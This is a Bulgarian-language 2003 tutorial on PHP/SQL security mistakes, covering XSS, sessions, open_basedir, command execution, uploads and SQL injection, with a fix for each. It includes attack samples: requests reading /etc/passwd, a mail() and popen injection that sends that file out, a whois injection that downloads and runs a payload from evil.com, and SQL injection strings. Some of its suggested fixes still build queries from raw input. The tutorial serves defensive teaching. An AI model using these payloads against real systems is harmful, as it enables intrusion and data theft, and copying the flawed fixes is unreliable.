от sheib(30-08-2003)

рейтинг (49)   [ добре ]  [ зле ]

Printer Friendly Вариант за отпечатване

Проблеми и недоглеждане при PHP/SQL програмиране
-------------------------------------------------

-- sheib [sheib at phreedom dot org]




:: Индекс

: Част 1 - [Въведение]

- Преглед
- Идея за сигурност

: Част 2 - [Проблеми/Грешки]

- XSS/Cross Site Scripting
- Работа със сесии
- Оpen_basedir
- Бисквити (cookies)
- Външни програми, safe_mode
- Променливи м/у скриптове
- HTTP Upload на файлове
- Инжектиране на SQL код
- БД, Кодирана информация

: Част 3 - [Заключение]
: Част 4 - [Референции]

- Линкове/Литература

::



[Въведение]


- Преглед -

Когато се заговори за уеб програмиране, едни от най-често споменаваните думи
са PHP/Perl/ASP/XML/XSLT/SQL. Тази статия разглежда проблеми, които възникват
в следствие на не - достатъчно - добре премисленият код и събитията, които
могат да случат при съвсем не произволен сценарии. Ключови думи: PHP, XSS,
SQL Injection, Session Management.

- Идея за сигурност -

Принципът на действие на една средно защитена компютърна система е в система-
тичното анализиране на потокът от информация към/от нея и методите, по които
се третира той.


[Проблеми/Грешки]


- XSS/Cross Site Scripting -


[test1.php]
<? print $_GET['myname']; ?>

Следният пример изглежда напълно безобиден, докато не бъде осъзнат рискът от
XSS тип атака. Злонамерен потребител може лесно да промени стойността на
'myname' като добави враждебен HTML/Javascript код към него, след което го
изпрати като линк на друг потребител, който не подозира нищо нередно,
докато сайта наподобява реалният си вид. По такъв начин могат да бъдат
откраднати информация за идентифициране пред системата, сесийни cookies и
друга лична информация. Подобна развръзка може лесно да бъде избегната
след филтриране на стойността на променливата:

<? print htmlspecialchars($_GET['myname']); ?>

Същият вариант има приложение при HTTP POST ($_POST) форми.


- Работа със сесии -

Основна роля на сесиите е да предават профилирано данните от една страница
към друга. Чрез ID ключа на сесиите, потребителите на сайта могат да се
оторизират пред системата. Много често обаче със сесийните ID-та се спекулира
за достъп до персонална информация и пр. Не рядко линкове с ID-та се постват
неволно по форуми, irc, чрез мейл, browser history, отметки (bookmarks) и на
други публични места.

PHP >= 4.2 дава възможност идентификационните номера на сесиите да се крият,
чрез употреба на 'session.use_trans_sid' в php.ini.

Друга надеждна опция е ключовете на сесиите да се променят всеки път при
логване, чрез следният скрипт:



[test2.php]
<?
 session_start();
 $oldsession = $_SESSION;
 session_destroy();
 session_start();
 $_SESSION = $oldsession;
 ?>

- safe_mode, open_basedir -

'PHP4 Bible' на Тим Конвърс и Джойс Парк (ISBN 0-7645-4716-X) предлага
сравнително пълна интродукция на PHP/MySQL, заради което е предпочитана от
хората изучаващи езика. Въпреки това, книгата изобилства от незначителни до
сериозни грешки, но се спрях на само една от тях, тъй като беше упоменато,
че точно този код е сигурен и предотвратява изтичане на информация. В
оригиналното издание (английски) на страница 572, част 3, секция 'Advanced
Techniques' се казва:

"Няколко често срещани грешки при програмиране на PHP могат да помогнат и
улеснят хакер да прочете почти всеки файл на сървъра. Разгледайте следващата
страница:

[test3.php]
<?php
  if (isset($poem)) {
          $fp = fopen($poem,
"r");
          print (fread($fp, filesize($poem))); fclose($fp); }
 ?>
...".


Дотук добре. http://example/?poem=$file наистина показва $file. Продължава:

"Следващият код е подходящо решение на този проблем:

[test4.php]
<?php
  if (isset($poem)) {
         switch ($poem) {
                  case "jabb":
$poem_file = "jabb.html"; break;
                  case "graves":
 $poem_file = "graves.html";
break;
         }
          if (isset($poem_file)) {
                  $fp = fopen($poem_file, "r");
                  print
 (fread($fp, filesize($poem_file)));
                  fclose($fp);
         }
 }
 ?>
...".


Според авторите на книгата, този пример (test4.php) решава проблема при
test3.php. Следното HTTP GET искане обаче, се възползва от неправилно
употребените променливи (всеки файл по файловата система с права поне o+r
е достъпен):

http://example.com/?poem=the_intruder&poem_file=/etc/passwd

Използване на register_globals тук все още не решава проблема. От тук нататък
могат да се разгледат поне 2 варианта. Първо, да се определи 'open_basedir' в
php.ini,

open_basedir = '/home/sheib/public_html/unsafe'

или от httpd.conf:

<Directory /home/sheib/public_html/unsafe>
php_admin_value open_basedir /home/sheib/public_html/unsafe
</Directory>

чрез което да се ограничи достъпа до ресурси, които не принадлежат на
съответния потребител или да се филтрира стойността на 'poem_file' чрез
регулярни изрази (regexps).

Употребата на 'open_basedir' е идеалното решение при хостинг на много сайтове
(по-надолу ще стане дума как някои администратори се мъчат неумело да го
заобиколят), но въпреки това се лимитира сериозно функционалността на сайта.
Следователно е добре да се използва малко по-раздвижен подход:

[test5.php]
<?
  function log_inv($ip,
$time="") {
          global $ip, $pip,
$time;
          $ip = $_SERVER['REMOTE_ADDR'];
          $pip = $_SERVER['HTTP_X_FORWARDED_FOR'];
          $port = $_SERVER['REMOTE_PORT'];
          $host = $_SERVER['REMOTE_HOST'];
          $agent = $_SERVER['HTTP_USER_AGENT'];
          $req = $_SERVER['REQUEST_URI'];
          $file = '/tmp/invreq.log';
          $time = date('m/d/Y H:i:s');
          if (isset($pip)){
                 $ip = $pip;
         };
          $fp = fopen($file,
'a');
          fputs($fp, "$time $host:$ip:$port [$agent]
($req)\n");
         fclose($fp);
          die('<b>Невалидно искане от
'.$ip.'</b>');
 }

  if (ereg('[/\%-+& |><]', $_GET['poem_file'])) {  log_inv($ip, $time);  
 }  // ... 
?>

Така, log_inv() ще записва всички невалидни URI искания.

Примерът, за който стана въпрос по-горе е срещнат при един от популярните
български ИТ доставчици. Администраторът се е опитал да се опази от
изпълнение на php файлове, вероятно дочул за сценария при ДирБГ -
(http://ezine.hit.bg/mat/dirbg_howto), но въпреки това тяхното качване чрез
ftp е разрешено:

[httpd.conf]

<VirtualHost www.xxx.net xxxx.net 212.36.xxx.xxx:80>
RewriteEngine on
RewriteRule ^/~(.*).php$ /usr/local/www/data/nophp.html
# RewriteRule ^/~(.)(.*)$ /home/$1/$1$2
RewriteRule ^/~(([a-z])[a-z0-9]+)(.*) /home/$2/$1/$3
ServerAdmin root@xxxx.net
DocumentRoot /usr/local/www/data
ServerName www.xxxx.net
ErrorLog /var/log/apache/www.xxxx.net-err
CustomLog /var/log/apache/www.xxxx.net-acc combined
</VirtualHost>

От "RewriteRule ^/~(.*).php$ /usr/local/www/data/nophp.html" е видно,
че не са желаели файлове с разширение .php да се изпълняват на уеб сървъра
за този сайт. Файлове с разширение .php3 също не са разрешени. Фаталната
грешка, незабележима на пръв поглед, е в некоректно използванато rewrite(1)
правило, позволяващо изпълнение на .pHP, .pHp, .PHP, .Php и т.н. файлове.
Системата, а по-късно и мрежата са били компрометирани в следствие на
единствено тази грешка.


- Бисквити (cookies) -

Кукитата са несигурен (но удобен) начин за сърхранение на информация от
страната на клиента, поради възможността с тях да се спекулира. Сценарий,
при който една система за гласуване, разчита единствено на проверката на
стойността на бисквитата, която самата тя установява (или преустановява),
може да бъде лесно преодоляна като просто се забрани действието на cookies
от браузъра. Неотдавна OSNews.com установиха точно такива злоупотреби и
се наложи да пренапишат някои части от сайта си. В такъв случай е добре е
да се ползва IP-базиран или подобен подход:

[test6.php]
<?
 // ... 
  // един глас от IP в 24 часов
интервал  
 $timeoutseconds = 3600*24;
 $timestamp = time();
 $timeout = $timestamp-$timeoutseconds;
  mysql_query("DELETE FROM $tbl_ip WHERE
 timestamp<$timeout") or die(mysql_error());
  $query = "SELECT ip FROM $tbl_ip WHERE
ip = '$ip'";
  $result = mysql_query($query) or die(mysql_error());
  $numrows = mysql_num_rows($result);
  if ($numrows < '1' and $vote != '0') {
          // не е гласувано от този
адрес в предишните 24 часа  
          $insert = "INSERT INTO $tbl_ip
(ip, timestamp, choice) ";
          $insert .= "VALUES ('$ip',
'$timestamp', '$vote')";
          mysql_query($insert) or die($lwp['msg']['2']);
  }
 else {
          // показва резултати 

         show_res();
          // презареждане/двойно
гласуване спира дотук
         die($warn);
 }
 //...  
 ?>

Бисквитите могат да бъдат откраднати при XSS тип хакове. Въпреки това са
лесни и удобни за използване, а съхранение на поверителна информация, макар
и кодирана, не е желателно.


- Външни програми -

Много от системните администатори и програмисти отчитат факта, че процесите
/скриптовете всъщност се изпълняват от потребителят стартирал уеб сървъра.
В общия случай - nobody/www. Taka, те често прибягват до забрана на някои
PHP фукнции (считайки че така могат да се предпазят), чрез нагласяне на
'disable_functions' в конфиг. файл на PHP. В черният списък често попадат
passthru(), fpassthru(), system(), readfile(), exec(), proc_open() и други.
Въпреки това, има предостатъчно допълнителни възможности, които могат да
бъдат използвани от злонамерени лица. В това число и безвредно изглеждащата
(на някого) mail() фукнция:

[test7.php]
<? mail("h@k", "sub",
 join('', file('/etc/passwd')), "From: lol"); ?>

Чрез "``" също могат да бъдат изпълнявани команди. Възможен подход е
определяне на 'safe_mode' (php.ini). PHP модулът ще провери дали притежател
ят на скрипта е собственик и на файла, върху който се опитва да оперира:

-rw-r--r-- 1 evildoer evildoer 120 Oct 10 09:11 test7.php
-rw-r--r-- 1 root root 1116 Oct 4 12:10 /etc/passwd

$ php -q test7.php

Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is
not allowed to access /etc/passwd owned by uid 0 in /home/evildoer/mail.php
on line 2

От време на време ще се налага да ползвате външни програми чрез кода си.
Най-обезпокояващата част за администраторите е когато фукнциите викащи
тези програми се налага да работят с юзър-контролираният query стринг.
Следният пример показва недообмислена употреба на popen():



[test8.php]
<? $fp = popen('/usr/sbin/sendmail -i '. $to, 'w'); ?>
Резултатът от

GET /test8.php?to=hostile%40box+%3c+%2fetc%2fpasswd HTTP/1.0

е:

$ mail hostile@box < /etc/passwd  В такъв случай, могат да се приложат escapeshellcmd() и escapeshellarg():  <? $fp = popen('/usr/sbin/sendmail -i '. escapeshellarg($to), 'w'); ?>

Не малко ISP фирми предлагат услуги като LookingGlass, Whois, Traceroute
и т.н. чрез уеб страниците си. Наскоро срещнах този код в лошо измислен
скрипт:

[test9.php]
<?php
 //... 
 switch($var){
         case whois:{
                  if($name ==
 ""){ echo "ERROR:
Query Info Required\n"; }
                  else{ echo"<pre><font color=#423D80>";
                          system("/usr/bin/whois $name");
                          echo"</pre></font>";
                 }
                 break;;
         }

         //...

         ?>

В случая, програмистът се доверява сляпо на информацията идваща от
клиентската страна и 'whois' изпълнява свободно аргумента. Достатъчно е
$name да бъдe заменен с 'example.com ; curl http://evil.com/bd -o \
/var/tmp/bd ; /var/tmp/bd', или дори '|', след като system() не изпълнява
само по една команда при извикване, а подава стройността на shell интерпре-
татора.

- Променливи м/у скриптове -

Добра идея е винаги да се внимава с употреба на include(), require()+once,
virtual(). В потвърждение на казаното, някои от популяните PHP приложения
съдържат бъгове в следствие на невалидирано използване на променливи.
Предходни версии на PHP-Nuke, Piranha, SquirrelMail и phpMyAdmin (по-долу)
предлагат богата "селекция" от именно такива:

[test10.php]
<?
  require("lib.inc.php");
 $no_require = true;
  if(isset($goto) && $goto ==
"sql.php") {
          $goto = "sql.php?server=$server&db=$db&table=$table&pos=$pos&sql_query=".
          urlencode($sql_query);
 }
  // Go back to further page if
table should not be dropped 
  if(isset($btnDrop) &&
$btnDrop == $strNo) {
          if(file_exists($goto)) include($goto);
          else Header("Location: $goto"); exit;
         ?>
$ lynx "http://example.com/phpMyAdmin/sql.php?btnDrop=No&goto=pth/to/FILE"

отпечатва $FILE.


- HTTP Upload на файлове -

Качването на файлове може да бъде лесно, но и проблематично, поради начина
по който PHP осъществява ъплоуда. Ако някой zealot промени www формата за
качване на файлове,

<form method="post" action="fup.php" enctype="multipart/form-data">
<input name="userfile" type="file">
<input type="submit" name="upload_file" value="Upload">
</form>

която работи с подобен скрипт

[fup.php]

<?
if (!isset($upload_file) && $userfile_type == 'image/jpeg') { copy($userfile, 'dest/'); unlink($userfile);
}
?>

на

<form method="post" action="fup.php" enctype="multipart/form-data">
<input name="userfile" type="hidden" value="/etc/passwd">
<input name="userfile_type" type="hidden" value="image/jpeg">
<input type="submit" name="upload_file" value="Upload">
</form>

вероятно ще успее де копира '/etc/passwd' при своите файлове. Като решение
може да се заложи на следният скрипт:

[test11.php]
<?
  $userfile = $_FILES['userfile']['tmp_name'];
  $userfile_name = $_FILES['userfile']['name'];
  $userfile_type = $_FILES['userfile']['type'];
  $userfile_size = $_FILES['userfile']['size'];
  if ($userfile_size <= 1)
{
          die('грешка в големината на файла');
 }
  if (file_exists($userfile_name)) {
          die('перзаписванe е забранено');
 }
  if
 (is_uploaded_file($userfile) and $userfile_size < 1000000
) {
          move_uploaded_file($userfile, 'dest'/.$userfile_name);
          echo 'готово';
 }
 else {
          die('грешка в големината на файла');
 }
 ?>

А най-добре е да се забрани напълно качването на изпълними от сървъра
файлове с regexp:



[test12.php]
<?
  if (preg_match('/\.(pl|py|cgi|php[234]?$)/i',
 $_FILES['userfile']['name'] )) {
          die('err: изпълним от сървъра файл');  }
 ?>

- Инжектиране на SQL код -

Едно от най-полезните качества на PHP е възможността за бързо и опростено
манипулиране с всякакви РБДС-та (MySQL, PgSQL, mSQL, SyBase, Oracle, dBASE,
DB2 и много други комерсиални). В зависимост от данните, съдъжащи се в ДБ-
то ви, евентуален нелегитимен достъп може да има сериозни последствия.
test13.php е покзва обикновен скрипт, който се свързва с БД и изпълнява
семпла SELECT заявка:


[test13.php]
<?
 // ...  
  $conn = mysql_connect($location,
$username, $password);
  if (!$conn) die ($sorrymsg);
  mysql_select_db($database,$conn)
or die ($sorrymsg);
  $query = "SELECT ccinfo, ssn FROM
$private WHERE userid = '$UserID'";
  $query .= " AND secret =
'$Password'";
  $result = mysql_query($query) or die(mysql_error());
  $numrows = mysql_num_rows($result);
 // ...
 ?>

Въпросният скрипт е част от е-магазин, селектиращ информация относно
финансите и номера на социалната осигуровка на клиента. Повечето фукнции
за заявки предотвратяват изпъленението на повече от 1 запитване до базата,
така че

db_query("SELECT * ...; UPDATE tbl_name SET ...;");

ще изпълни само първата заявка. Всичко изглежда в ред, докато някой не
замести $UserID от HTTP форм. с "$UserID OR userid LIKE "%";'" (и получи
цялата информация за банкиране от таблицата) По-новите версии на PHP имат
вградена протекция срещу това, като в ini файла на PHP 'magic_quotes_gpc'
"заобикаля" (escape) въведеното от потребителя GET/POST/COOKIE съдържание
от "'". Въпреки това, не може да се разчита винаги на тях (могат да бъдат
премахнати по редица причини) и е добре са се ползват addslashes() при
променливи отиващи директно към БД и stripslashes() при изход.


- Кодирана информация -

По лични наблюдения, много от софтуера който се пише за онлайн магазините
се прави така, че цялата информация за клиента се записва в БД некодирано,
т.е. всеки с привилегирован достъп до базата може да я разгледа спокойно и
използва. Това е сериозна грешка в дизайна на много от системите,
предлагащи такива услуги, и причина да се задигат всеки ден хиляди кредитни
карти заедно с всякакви поверителни данни. Решението на въпроса не е лесно
за изпълнение, но пък е решаващо за фирмата-изпълнител. Схематично, това
представлява:

> Сървър за SSL транзакции от уеб (където оперира магазина)
> БД сървър, който работи със SSL протокол (кодира информацията с различни
енкрипващи механизми/стандарти AES/DES/PGP/MD5 и др.)
> Трета машина (не стояща в Интернет) която служи за връзка директно с БД
/SSL сървъра и борави с данните на клиентите.

В код това може да изглжда така:

[test14.php]
<?
  $insert = "INSERT INTO custs(card,
name, address) ";
  $insert .= "VALUES(AES_ENCRYPT('$string', '$key'),
'$name', '$addr');";
 db_query($insert);
 ?>

mysql> SELECT AES_DECRYPT('ВШМiJIЛSZXь', 'key_val') AS encdata;
+-------------+
| encdata       |
+-------------+
| aaadefefewf |
+-------------+
1 row in set (0.00 sec)

[Заключителни думи]


Обикновено програмистите работят със срокове, които им се поставят като
реални граници във времето. Необходимостта от спазването им и липсата на
достатъчно време, често води до предизвикване на грешки, в следствие
от недооглеждането и не добрият дизайн на кода. За да се намали риска от
такива проблеми, съдържанието на всяка променлива произхождаща от външни
източници (в това число cookies, get/post форми, работа с фaйлове и
т.н.) трябва да се анализира внимателно и да се определи валидността й,
преди да бъде разрешено ползването й по-нататък в кода. Информацията,
съхранявана в БД, независимо от предназначението й, трябва да бъде умело
защитена.


[Референции]


- Линкове/Литература -

[1] Phreedom Magazine - http://www.phreedom.org
[2] Computer Emergency Response Team - http://www.cert.org
[3] PHP Magazine - http://www.php-mag.net
[4] PHP Architect - http://www.phparch.com

--
Последна промяна: Sat Aug 30 16:36:50 EEST 2003


<< Антивирус на пощенския сървър - безплатно и ефективно | Как да подкараме DRI с i845' Intel Extreme Graphics >>